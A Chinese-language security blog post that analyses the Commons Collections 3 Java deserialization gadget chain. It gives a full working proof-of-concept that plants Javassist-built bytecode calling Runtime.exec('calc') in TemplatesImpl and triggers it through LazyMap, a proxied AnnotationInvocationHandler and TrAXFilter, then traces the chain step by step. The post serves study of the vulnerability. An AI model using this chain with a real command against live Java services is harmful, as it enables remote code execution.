1. 程式人生 > >Java安全之Commons Collections3分析

Java安全之Commons Collections3分析

# Java安全之Commons Collections3分析 文章首發:[Java安全之Commons Collections3分析](https://www.freebuf.com/vuls/252643.html) ## 0x00 前言 在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是 `Map(Proxy).entrySet()`觸發`AnnotationInvocationHandler.invoke()`,而CC2鏈的利用鏈是通過`InvokerTransformer.transform()`呼叫`newTransformer`觸發RCE。這裡就不說這麼詳細感興趣可以看前面幾篇文章。聽說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。 ## 0x01 前置知識 在CC3利用鏈的構造裡面其實沒有用到很多的新的一些知識點,但是有用到新的類,還是需要記錄下來。 ### InstantiateTransformer 首先還是檢視一下構造方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021181930854-929035213.png) 在檢視下面的程式碼的時候會發現他的`transform`方法非常的有意思。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021181938565-133665479.png) `transform`方法會去使用反射例項化一個物件並且返回。 ### TrAXFilter 檢視`TrAXFilter`的構造方法,會發現更有意思的事情 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182022779-1155989478.png) ``` _transformer = (TransformerImpl) templates.newTransformer(); ``` 呼叫了傳入引數的`newTransformer()`方法。在CC2鏈分析的時候,使用的是反射呼叫`newTransformer`,`newTransformer`呼叫`defineTransletClasses()`。最後再呼叫`_class.newInstance()`例項化`_class`物件。那麼如果是使用`TrAXFilter`的話,就不需要`InvokerTransformer`的`transform`方法反射去呼叫了。 ## 0x02 POC分析 ``` package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections333333333"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(object); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } } ``` 上面是一段POC程式碼,先來分析一下,POC為什麼要這樣去構造。 ``` String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); ``` 先來執行一遍看一下執行的結果 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182036395-260059092.png) 能夠執行成功並且彈出計算器。 其實看到程式碼前面部分,和CC2利用鏈的構造是一模一樣的。在CC2鏈中分析文章裡面講到過。這裡就來簡單概述一下。 [Java安全之Commons Collections2分析](https://www.cnblogs.com/nice0e3/p/13816574.html) 這裡是採用了`Javassist`方式建立一個類,然後設定該類的主體為`Runtime.exec("clac.exe")`,設定完成後,將該類轉換成位元組碼。 ``` Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); ``` 反射獲取`TemplatesImpl`類的`_bytecodes`成員變數,設定值為上面使用`Javassist`類轉換後的位元組碼。 反射獲取`TemplatesImpl`類的`_name`成員變數,設定值為test。 ``` Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); ``` `ConstantTransformer`在呼叫`transform`方法的時候,會遍歷的去呼叫數組裡面`transform`方法。並且將執行結果傳入到第二次遍歷執行的引數裡面。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182049769-986162027.png) 第一次執行`this.iTransformers[i]`為`ConstantTransformer`。所以,呼叫的是`ConstantTransformer`的`transform`方法該方法是直接返回傳入的物件。這裡返回了個`TrAXFilter.class`物件。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182057684-879090250.png) 而在第二次遍歷執行的時候傳入的就是`TrAXFilter.class`物件,然後再反射的去獲取方法,使用`newInstance`例項化一個物件並且進行返回。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182104664-925446305.png) ``` Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer); ``` 這裡是將上面構造好的`ChainedTransformer`的例項化物件,傳入進去。在呼叫`lazyMap`的get方法的時候,就會去呼叫構造好的`ChainedTransformer`物件的`transform`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182113110-1733807493.png) 那麼下面就會引出`lazyMap`的get方法的呼叫問題,再來看下面一段程式碼。 ``` Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ``` 反射建立了一個`AnnotationInvocationHandler`物件,傳入`Override.class`和`lazyMap`的物件,並使用`AnnotationInvocationHandler`作為呼叫處理器,為`lazyMap`做一個動態代理。關於這裡為什麼要傳入一個`Override.class`的問題,其實因為`AnnotationInvocationHandler`本來就是一個處理註解的類,構造方法的第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數(所有的註解型別都繼承自這個Annotation介面)。在這裡面不管傳入的是`Retention.class`還是`Override.class`都是可行的。 這的`lazyMap`作為被代理的物件後,呼叫任意的方法都會去執行呼叫處理器的`invoke`方法。`AnnotationInvocationHandler`實現了`InvocationHandler` ,可以被當作呼叫處理器傳入。而我們在這時候呼叫`lazyMap`的任意方法的話,就會執行一次`AnnotationInvocationHandler`中的`invoke`方法。而在`AnnotationInvocationHandler`的`invoke`方法中就會呼叫get方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182122564-1692108630.png) 在呼叫get方法後又回到了前面說到的地方,這裡就會去呼叫`transform`方法去完成後面的命令執行。這裡先不細說。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182128834-1378426772.png) 在分析完POC程式碼後其實並沒有去看到一個完整的呼叫鏈,這裡有必要去除錯一遍。 ## 0x03 CC3鏈除錯 先在`AnnotationInvocationHandler`的`readobject`方法中去打個斷點進行除錯分析 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182138775-1992344276.png) 在這裡可以看到這裡的`this.memberValues`的值為被代理的`lazyMap`的物件,呼叫了`lazyMap`的`entrySet`方法。那麼這時候被代理物件的呼叫處理器的`invoke`方法會執行。前面說過使用的`AnnotationInvocationHandler`作為呼叫處理器,這裡呼叫的就是`AnnotationInvocationHandler`的`invoke`方法,跟進一下`invoke`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182146904-977078265.png) `invoke`方法在內部呼叫了`lazyMap`的get方法,再來跟進一下get方法 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182154634-2017020189.png) 到這裡其實就能看到了` this.factory.transform(key);`,呼叫了`transform`方法,在這裡的`this.factory`為`ChainedTransformer`的例項化物件。再來跟進一下`transform`方法就能看到`ChainedTransformer`的`transform`內部的呼叫結構。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182201909-2028474173.png) 在POC構造的時候為`ChainedTransformer`這個物件傳入了一個數組,陣列的第一值為`ConstantTransformer`例項化物件,第二個為`InstantiateTransformer`例項化物件。 所以在這裡第一次遍歷`this.iTransformers[i]`的值為`ConstantTransformer`。`ConstantTransformer`的`transform`會直接返回傳入的物件。在POC程式碼構造的時候,傳入的是`TrAXFilter`物件,所以在這裡會直接進行返回`TrAXFilter`,並且會作為第二次遍歷的傳參值。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182209175-859450906.png) 而在第二次遍歷的時候,`this.iTransformers[i]`的值為`InstantiateTransformer`的例項化物件。所以呼叫的是`InstantiateTransformer`的`transform`方法並且傳入了`TrAXFilter`物件。跟進一下`InstantiateTransformer`的`transform`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182216205-522828215.png) 這裡其實是比較有意思的,剛剛傳入的是`TrAXFilter`物件,所以這裡的input為`TrAXFilter`,`this.iParamTypes`為`Templates`,`this.iArgs`為構造好的惡意`TemplatesImpl`例項化物件。(這裡之所以說他是惡意的`TemplatesImpl`物件是因為在前面使用反射將他的`_bytecodes`設定成了一個使用`javassist`動態建立的惡意類的位元組碼) 該`transform`方法中使用`getConstructor`方法獲取`TrAXFilter`引數為`Templates`的構造方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182225976-1844360479.png) 使用該構造方法建立一個物件,並且傳入惡意的`TemplatesImpl`例項化物件。在該構造方法當中會呼叫`TemplatesImpl`的`newTransformer`方法。跟進一下`newTransformer`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182232794-437321037.png) `newTransformer`方法內部呼叫了`getTransletInstance`方法再跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182239639-819943345.png) 這裡可以看到先是判斷了`_name`的值是否為空,為空的話就會執行返回null,不向下執行。這也是前面為什麼使用反射獲取並且修改`_name`值的原因。 下面一步是判斷`_class`是否為空,顯然我們這裡的`_class`值是null,這時候就會呼叫`defineTransletClasses`方法,跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182250089-969078833.png) 下面標註出來這段是`_bytecodes`對`_class`進行賦值,這裡的`_bytecodes`的值是使用`javassist`動態建立的惡意類的位元組碼 執行完後,來到下一步。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182259659-998893451.png) ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182337959-2053305347.png) 這裡會對該位元組碼進行呼叫`newInstance`方法例項化一個物件,然後就可以看到命令執行成功。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182358229-490686379.png) 關於這個為什麼呼叫`newInstance`例項化一個物件,命令就直接執行成功的問題,其實我的在CC2鏈分析裡面也說到過,主要還是看使用`javassist`動態建立一個類的時候,他是怎麼去構造的。 ``` ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); payload.writeFile("./"); ``` 先將該類寫出來到檔案中,然後再去檢視。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182406664-1620198506.png) 看到這個其實就一目瞭然了,使用`setBody`設定主體的時候,程式碼其實是插入在靜態程式碼塊中的。靜態程式碼塊的程式碼在例項化物件的時候就會進行執行。 ### 呼叫鏈 ``` AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet ->AnnotationInvocationHandler.invoke->lazyMap.get ->ChainedTransformer.transform->ConstantTransformer.transform ->InstantiateTransformer.transform->TrAXFilter(構造方法) ->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(動態建立的類)cc2.newInstance()->Runtime.exec() ``` ## 0x04 結尾 其實在除錯CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC程式碼,而後半部分則是CC1的利用鏈程式碼。除錯過這兩條利用鏈的話,除錯CC3這條利用鏈會比較簡單易懂。 在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。重新開啟檔案的時候,文章的檔案也清空了。只能重寫一遍,但是重寫完後,發現雖然字數也差不多,但是感覺細節點的地方還是少了東西,但是又不知道具體在哪些地方